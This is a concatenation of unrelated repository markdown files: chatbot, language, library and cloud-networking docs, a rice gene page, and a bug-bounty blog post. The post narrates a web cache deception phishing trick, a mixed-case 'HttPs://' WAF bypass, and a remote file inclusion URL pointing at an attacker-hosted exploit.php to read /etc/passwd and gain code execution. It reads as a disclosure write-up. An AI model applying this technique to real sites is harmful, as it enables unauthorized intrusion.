The **NLP Bot** distingues 3 intents (q_sample-qna **Goals #1 & #2**, RoomAvailability ability **Goal #3.i**, BookDetails **Goal #3.ii**).
The code of [dispatchBot](/bots/dispatchBot.js).

**Prompt for user input**
- [repo](https://github.com/microsoft/BotBuilder-Samples/tree/main/samples/javascript_nodejs/44.prompt-for-user-input)
- [Code documentation](https://docs.microsoft.com/en-us/azure/bot-service/bot-builder-primitive-prompts?view=azure-bot-service-4.0&tabs=javascript)

The **customPromptBot** prompts customer for input data and validate booking details (**Goal 3.i**). Also, it is able to extract details from input customer's statement and validate details (**Goal 3.ii**). The **customPromptBot** role is to collect the necessary details that are required to execute the query for RoomAvailability and BookDetails intents. The code of [customPromptBot](/bots/customPromptBot.js).

The chatbot executes queries in a **SQL Database** that supports the hotel management system. Tables about rooms and booking records have been created and filled up with data for testing.
The [SQL code](/DatabaseScripts).

Demo videos can be found here:
1. [Demo1](https://www.youtube.com/watch?v=Q6BJMb451XA&t=24s&ab_channel=EvangelosPoulios)
2. [Demo2](https://www.youtube.com/watch?v=mSbOivHpEdY&ab_channel=EvangelosPoulios)

Hope to find it useful.
✌✌✌

repository: pouliose/Hotel-Bot

repo_name: pouliose/Hotel-Bot


text:
A *shape literal* creates an unnamed shape with fields having values as specified by a list of field-initializers. The order of the field-initializers in that list need not be the same as the order of the field specifiers in the shape type's definition. For example:

@@ literals-examples/literals.php @@

A shape literal must initialize all the the fields in the shape.

Note that the term *literal* as used with shapes is a misnomer; the expressions in the field initializers need not be compile-time constants. And even if all the initializers are constant expressions, the resulting shape literal itself is not, so it cannot be used in contexts where such expressions are required.

repository: watashi/user-documentation

repo_name: watashi/user-documentation


text:
type: article
slug: understanding-topic2
topics: topic2,tutorial,reference
title: Understanding Topic 2
description: A series on working with Topic 2.
author: jcastillo2nd
publish: 2018-05-27 06:34:00 UTC

## Understanding Topic 2 ##

Topic 2 is the second topic in this example site. Not much to it, right?

### What is Topic 2 ###

More in depth discussion of Topic 2 is here.


text:
# Loading Pre-Trained Adapters

## Using adapters from Adapter-Hub

Suppose we have loaded a pre-trained transformer model from HuggingFace, e.g. BERT:

```python
from transformers import BertModel

model = BertModel.from_pretrained('bert-base-uncased')
```

We can now easily load a pre-trained adapter module from Adapter Hub by its identifier:

```python
model.load_adapter('sst-2')
```

In the minimal case, that's everything we need to specify to load a pre-trained task adapter for sentiment analysis, trained on the `sst-2` dataset using BERT base and a suitable adapter configuration.
To examine what's happening underneath in a bit more detail, let's first write out the full method call with all relevant arguments explicitly stated:

```python
model.load_adapter('sst-2', config='pfeiffer', model_name='bert-base-uncased', version=1, load_as='sst')
```

We will go through the different arguments and their meaning one by one:

- The first argument passed to the method specifies the name of the adapter we want to load from Adapter-Hub. The library will search for an available adapter module with this name that matches the model architecture as well as the adapter type and configuration we requested. As the identifier `sst-2` resolves to a unique entry in the Hub, the corresponding adapter can be successfully loaded based on this information. To get an overview of all available adapter identifiers, please refer to [the Adapter-Hub website](https://adapterhub.ml/explore). The different format options of the identifier string are further described in [How adapter resolving works](#how-adapter-resolving-works).

- The `config` argument defines the adapter architecture the loaded adapter should have.
The value of this parameter can be either a string identifier for one of the predefined architectures, the identifier of an architecture available in the Hub or a dictionary representing a full adapter configuration.
Based on this information, the library will only search for pre-trained adapter modules having the same configuration.

- Adapter modules trained on different pre-trained language models in general can not be used interchangeably.
Therefore, we need to make sure to load an adapter matching the language model we are using.
If possible, the library will infer the name of the pre-trained model automatically (e.g. when we use `from_pretrained('identifier')` to load a model from Huggingface). However, if this is not the case, we must specify the name of the host model in the `model_name` parameter.

- There could be multiple versions of the same adapter available. To load a specific version, use the `version` parameter.

- By default, the `load_adapter()` method will add the loaded adapter using the identifier string given as the first argument.
To load the adapter using a custom name, we can use the `load_as` parameter.

## How adapter resolving works

As described in the previous section, the methods for loading adapters are able to resolve the correct adapter weights
based on the given identifier string, the model name and the adapter configuration.
Using this information, the `adapter-transformers` library searches for a matching entry in the index of the [Hub GitHub repo](https://github.com/adapter-hub/hub).

The identifier string used to find a matching adapter follows a format consisting of three components:
```
<task>/<subtask>@<username>
```

- `<task>`: A generic task identifier referring to a category of similar tasked (e.g. `sentiment`, `nli`)
- `<subtask>`: A dataset or domain, on which the adapter was trained (e.g. `multinli`, `wiki`)
- `<username>`: The name of the user or organization that uploaded the pre-trained adapter

An example of a full identifier following this format might look like `qa/squad1.1@example-org`.

```eval_rst
.. important::
    In many cases, you don't have to give the full string identifier with all three components to successfully load an adapter from the Hub. You can drop the `<username>` you don't care about the uploader of the adapter.  Also, if the resulting identifier is still unique, you can drop the ``<task>`` or the ``<subtask>``. So, ``qa/squad1.1``, ``squad1.1`` or ``squad1.1@example-org`` all may be valid identifiers.
```

For more background information on the identifier string format and the Hub index structure, you can also refer to the [specification document](https://github.com/adapter-hub/hub/blob/master/spec.md#) on GitHub.


text:
---
layout: post
published: true
title: Web Cache Deception To RCE
tags:
  - bug hunting
  -
comments: true
---

**concept of web cache deception**
website uses cdn's for storing local cached copy of webpage like pdf,css.etc. so that when user revisits to that website the website will work faster and also for reducing loads
suppose two user bob and alice have two accounts on a website which is vulnerable to web cache deception alice is a hacker and bob is a victim..allice(attacker)
send a link to victim bob like this :
https://www.example.com/user/account/l.css
now what happened if bob opens this link his cache copy will stored to server and alice can easily takeover account of bob by retriving cache from server thats the simple mechanism of
web cache deception now lets move towards attack :)

**attack scenario**

i founded a web which was vulnerable to web cache deception but nothing was in that web application i founded a subdomain of same web application where only employee can access their
account that subdomain was made for employees i can't login to that subdomain.. i captured the login request of that subdomain i saw there was no header of pragma cache to avoid web
cache deception attack ...i quicly extracted email of workers of that web applict ation thanx to phonebook and after recon of 4 hours i was able
to determine blueprint of employee panel in my mind when an employee login to that account he got redirectited to index.php i made a url something like this: https://www.example.com/
index.php/app0ly.css ans sends to that gmail and tricked them to open the link after few hours i open my linked and i saw that some one open the links ^__^ so i takeover someone account
but there was the problem i can only see the content of index.php when i go to setiings or any other option web application throws awy me from session *_*..

**escilating to rce**

after spending few hours with capturing and sending request i saw there was a hidden java file in source code of index.php thanx to: wayback
after reaading the java file i got few parameters but most intresting waas parameter "?url=" and file?=...whic was something like "https://www.expample.php?url=" i tried to do ssrf but failed seems like htttp and https:// protocol was
banned by WAF i tried various combinations like htTps:// , HTTPs:// etc. luckily, HttPs:// workred in my case and i got open redirection then i tried to test for remote file inculsion
i created a payload for retriving "/etc/passwd" file i hosted that paylaod on my website and tried to fetch that mine v=webiste to vulnerable website like this:

www.example.com/index.php?file=HTtps://www.mywebsite.com/exploit.php

and voila! i was able to reterive /etc/passwd file and also able to obtain rce :( and pawned that web application i sent a report to them they patched the bug ^__^
that was about how i escilate the web cache to rce !

any privte programs :
send it to : <a<EMAIL_ADDRESS>
tags: exploit


text:
# Raw
javascript es6 module that brings raw html to hyperscript or vdom

This module is useful when dealing with template engines and raw html pages that already exists!

## Usage example with superfine
```js
import { h, text, patch } from "https://unpkg.com/superfine"
import {raw} from 'https://cdn.jsdelivr.net/gh/marcodpt/raw/index.js'

const tpl = (state) => `
  <h1>This is my counter!</h1>
  <p>The current count is: ${state}</p>
`

const html = raw(h, text)

const setState = (state) =>
  patch(
    document.getElementById("app"),
    h("main", {},
      html(tpl(state)).concat([
        h("button", { onclick: () => setState(state - 1) }, text("-")),
        h("button", { onclick: () => setState(state + 1) }, text("+")),
      ])
    )
  )

setState(0)
```

Similar will be with [hyperapp](https://github.com/jorgebucaran/hyperapp).

Using it with original [hyperscript](https://github.com/hyperhype/hyperscript) just use

```js
const html = raw(h)
```

without `text` param

You can use any vdom or hyperscript like library and it will work to bring HTML strings to DOM

## Tests
Check if work in your [broser](https://marcodpt.github.io/raw/)

Or do locally something like

```
python3 -m http.server 9000
```

## Contributing
Yes please! It is a very simple project with a single file, no guidelines, any
contribution is greatly appreciated!

repository: marcodpt/raw

repo_name: marcodpt/raw


text:
Documents: detail enhancement
=================================

**void detailEnhancementBilateral(Mat& src, Mat& dest, int d, float sigma_color, float sigma_space, float boost, int color)**
* Mat& src: input image.
* Mat& dst: filtered image.
* const Size ksize: size of filtering kernel.
* const float sigma_color: sigma of color in bilateral filtering.
* const float sigma_space: sigma of space in bilateral filtering.
* const float boost: boosting factor.
* const int color: color channel for using boosting.

        enum
        {
        	PROCESS_LAB=0,
        	PROCESS_BGR
        };

Example of detail enhancement
-----------------------------
![debf](Detail_Enhancement.png "debf")
detail enhancement bilateral filter.

Reference
---------

R. Fattal, M. Agrawala, and S. Rusinkiewicz, "Multiscale shape and detail enhancement from multi-light image collections," ACM Transactions on Graphics, 26(3), Aug. 2007

repository: Pandinosaurus/OpenCP

repo_name: Pandinosaurus/OpenCP


text:
---
layout: post
title: "OsFBK1"
description: ""
category: genes
tags: [drought, tolerance, drought tolerance, root, anther, development, auxin, cell wall, lignin]
---

* **Information**
    + Symbol: OsFBK1
    + MSU: [LOC_Os01g47050](http://rice.plantbiology.msu.edu/cgi-bin/ORF_infopage.cgi?orf=LOC_Os01g47050)
    + RAPdb: [Os01g0659900](http://rapdb.dna.affrc.go.jp/viewer/gbrowse_details/irgsp1?name=Os01g0659900)

* **Publication**
    + [Analysis of drought-responsive signalling network in two contrasting rice cultivars using transcriptome-based approach.](http://www.ncbi.nlm.nih.gov/pubmed?term=Analysis of drought-responsive signalling network in two contrasting rice cultivars using transcriptome-based approach.%5BTitle%5D), 2017, Sci Rep.
    + [The OsFBK1 E3 ligase subunit affects anther and root secondary cell wall thickenings by mediating turn-over of a cinnamoyl-CoA reductase.](http://www.ncbi.nlm.nih.gov/pubmed?term=The OsFBK1 E3 ligase subunit affects anther and root secondary cell wall thickenings by mediating turn-over of a cinnamoyl-CoA reductase.%5BTitle%5D), 2018, Plant Physiol.

* **Genbank accession number**

* **Key message**
    + OsFBK1 was also functionally validated in susceptible PB1 rice cultivar and Arabidopsis for providing drought tolerance
    + The OsFBK1 E3 ligase subunit affects anther and root secondary cell wall thickenings by mediating turn-over of a cinnamoyl-CoA reductase.
    + Rice transgenics of OsFBK1 displayed variations in anther and root secondary cell wall content; it could be corroborated by electron/confocal microscopy and lignification studies, with no apparent changes in auxin content/signalling pathway
    + Interestingly, the OsCCR knock-down transgenics also displayed a decrease in root and anther lignin depositions, suggesting that OsFBK1 plays a role in the development of rice anthers and roots by regulating the cellular levels of a key enzyme controlling lignification

* **Connection**
    + __OsFBK1__, __Pb1__, [Analysis of drought-responsive signalling network in two contrasting rice cultivars using transcriptome-based approach.](http://www.ncbi.nlm.nih.gov/pubmed?term=Analysis of drought-responsive signalling network in two contrasting rice cultivars using transcriptome-based approach.%5BTitle%5D), OsFBK1 was also functionally validated in susceptible PB1 rice cultivar and Arabidopsis for providing drought tolerance

[//]: # * **Key figures**


text:
# uc_hello [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)

uCcm using examples.

Use uccm to play with examples by following command:
```
uccm -b boardname -y --reconfig --edit example_name.c
```
* board name - the name of board you use, pca10028, pca10040, descovery3, ...
* example_name.c - the main file of example, flash_1s.c, hello.c, ...


text:
# Routing to Google’s Network

* Google’s routing is cold potato, meaning that it takes responsible for tunneling data at different
    * Makes data routing more predictable
    * Reduces exposure to the rest of the internet
    * Also benefits because Google can choose nearest destination to access, instead of specific resource like standard networking
* Opposed to hot potato, routing, meaning that it tries to make data someone else’s problem

# Load Balancing

* Cross-region load balancing
    * Global Anycast IP points to Google network, load balancer points traffic to closest site
    * reduces latency
* Cloud Load Balancer
    * All types, internal + external
* HTTP(S) Load Balancer

## Routing Schemes
* Unicast - There is only one unique device in the world that can handle traffic
* Anycast - There are multiple devices to handle traffic, send to any one but prefer closest

## OSI Model
* TCP of TCP/IP is Layer 4
    * Works solely with IP addresses
* HTTP(S) is Layer 7
    * Know about URLs/Paths
* Higher levels are built upon lower levels, Layer 7 needs to route based on info at Layer 4

# Routing Among Resources (VPC)

* VPC (Virtual Private Cloud) - your private SDN space in GCP
* Subnets (regional) create logical spaces to contain resources
    * All subnets can reach all others globally
* Routes (global) define ’next hop’ for traffic based on destination IP
    * Global and apply by instance-level tags, not by subnet
* Firewall rules (global) further filter data flow
    * Apply by instance-level tag or service account
    * By default are restrictive inbound and permissive outbound

## IPs and CIDRs
* IP address is abc.def.ghi.jkl where each piece is 0-255
* CIDR block is group of IP addresses specified in <IP>/xy notation
    * Turn IP addresses into 32-bit binary number
    * /xy in CIDR notation locks leftmost xy bits in IP address
    * abc.def.ghi.jkl/32 is single IP because all 32 bits are locked
    * abc.def.ghi.jkl/24 is 256 because last 8 bits (jkl) can vary and 2^8 = 256
    * <IP_ADDRESS>/0 means any IP
* RFC1918 defines private (non-Internet) address ranges you can use:
    * <IP_ADDRESS>/8, <IP_ADDRESS>/12 and <IP_ADDRESS>/16

# Creating VPCs

* Navigation Menu -> Networking -> VPC networks
* Default VPC has auto mode with a subnet in every GCP subnet
* Can specify firewall rules as well to allow/deny ingress/egress for IP addresses, service accounts, protocols and ports

# Custom-Mode VPCs

* Can also have custom subnet creation mode with new subnets in specified regions
* Each custom subnet specified IP address ranges as well
* When creating instances, can specify VPC, subnets and network tags

repository: eamon-cai/ACE-Cheat-Sheet

repo_name: eamon-cai/ACE-Cheat-Sheet


text:
#The Ark Programming Language

## Notices
**For the final time, we've changed our name. We're the *Ark* programming language now. We had to get rid of Alloy due to some complications, and finalized on Ark. The entire discussion (which is rather long for a name change) can be found on [issue #195](https://github.com/ark-lang/ark/issues/195).**

**Due to this name change, we've also migrated the subreddit from r/alloy_lang to [r/ark_lang](http://www.reddit.com/r/ark_lang), go subscribe! Finally, our irc has moved from #alloy-lang to #ark-lang**

We're also currently porting the backend from C to **LLVM**, this may take a while and things will be broken. If
you want to check out the progress, have a look at [issue #345](https://github.com/ark-lang/ark/issues/345).

## Resources
* [Reference](/docs/REFERENCE.md)
* [Tests](/tests/)
* [Libraries](/lib/)
* [Contributing](/CONTRIBUTING.md)
* [Ark Style Guide](/docs/STYLEGUIDE.md)

## Building
If you want to try out Ark yourself, clone the repository, compile it, and add `bin/ark` to your path. You can
also run the test script (you'll need python) `test.py` to see if the tests work, though we can't guarantee they
will all run successfully if you're building the nightly.

### Requirements:
You will need:

* GNU Make
* Clang/GCC (we're not sure about other compilers' support)
* Python 2.4 or above (optional, for running the tests)

### Compiling

	$ git clone http://www.github.com/ark-lang/ark
	$ cd ark
	$ make

We're using LLVM by default now, so you can just run `make` to create the executable.

However, note that the LLVM backend is currently very incomplete, and is only recommended for development purposes.
We're working as fast as possible to get it as stable as possible.

### Testing
If Ark is in your `$PATH`:

	$ ./test.py

If Ark is not in your `$PATH`:

	$ PATH=$PATH:"./bin/" ./test.py

## Just show me what it looks like already
Sure, you can either see a small virtual machine implemented in Ark [here](tests/old_tests/vm.ark).
Or you can just see a small Hello World example below:

```rust
// c binding for printf
// you have to do this for now, but soon
// we'll have a standard library for this
func printf(format: str, _): int;

func main(): int {
    printf("Hello, World");
    return 0;
}
```

## License
Ark is licensed under the [MIT License](/LICENSE.md).


text:
---
title: Realm
permalink: /about/
layout: page
excerpt: Hello peeps
comments: false
---
**Name** : Robert Joseph
**University**: University of Alberta
**Degree**: Honors Applied Mathematics and Computational Sciences
**Year** : Freshman

Hey there everyone. I am interested in many a things and I hope I can showcase how much I love Competitive Programming, Machine Learning , Artificial Intelligence, Data Science and Problem Solving especially in Mathematics through this blog.

Excited to exhibit my projects and solutions to various problems. I want to get into research particularly in the field of Mathematics (Analytic Number theory or Topology) and in the field of Computer Science in Artificial Intelligence. I hope you all would have fun reading this blog and learning something new.

##### Get in touch with me ✨

-<EMAIL_ADDRESS>- [Linkedin](https://www.linkedin.com/in/robert-joseph-2001/)
- [GitHub](http://github.com/Robertboy18)
- [ACM](https://services.acm.org/public/vcard/vcard.cfm?handle=robertjoseph)

<img src="https://i.ibb.co/wZqhNSG/ogp.png" width="500" height="300" />

repository: minaskar/Personal-Website

repo_name: minaskar/Personal-Website